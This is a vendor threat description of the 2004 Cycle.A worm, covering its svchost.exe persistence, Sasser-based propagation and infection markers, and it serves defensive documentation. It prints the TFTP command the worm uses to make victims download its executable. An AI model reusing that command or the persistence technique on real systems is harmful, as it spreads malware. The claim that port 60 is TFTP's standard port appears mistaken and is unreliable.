Threat Description



Aliases:Cycle.A, W32/Cycle.A
Category: Malware
Platform: W32


Cycle.A is a network worm found on May 10th, 2004 exploiting the same vulnerability as Sasser does.

The worm contains long texts on the political situation in Iran.


Automatic action

Once detected, the F-Secure security product will automatically disinfect the suspect file by either deleting it or renaming it.


You may wish to refer to the Support Community for further assistance. You also may also refer to General Removal Instructions for a general guide on alternative disinfection actions.

Technical Details

The Cycle.A worm is packed with a modified version of UPX.

System Infection

When the worm enters the system it creates a copy of itself in the Windows System Directory as 'svchost.exe'.

 "Generic Host Service" = "%windir%\system\svchost.exe"

Where %windir% is the main Windows folder.

It creates mutex with the following names:


The worm will attempt to terminate any process named 'msblast.exe'

Network Propagation

The worm uses the same exploit as Sasser worm family does.

Upon infection, the newly infected remote host will be instructed to obtain a copy of the worm executable from the local, already infected, host.

The copy process will take place through TFTP. The infected machine will open a TFTP server on the standard port 60, and send the following command to the machine being infected:

tftp -i [local ip] GET cyclone.exe

Where [local ip] is the infected machine and 'cyclone.exe' the worm's executable.

The machine will also open port 3332, and sit accepting connections there, without taking further actions. Machines connecting to this port, and being able to establish a connection will know that the machine is already infected and skip the infection attempt.


Detection in F-Secure Anti-Virus was published on May 11th, 2004 in update:
Detection Type: PC
Database: 2004-05-11_01

Technical Details: Ero Carrera, May 11th, 2004


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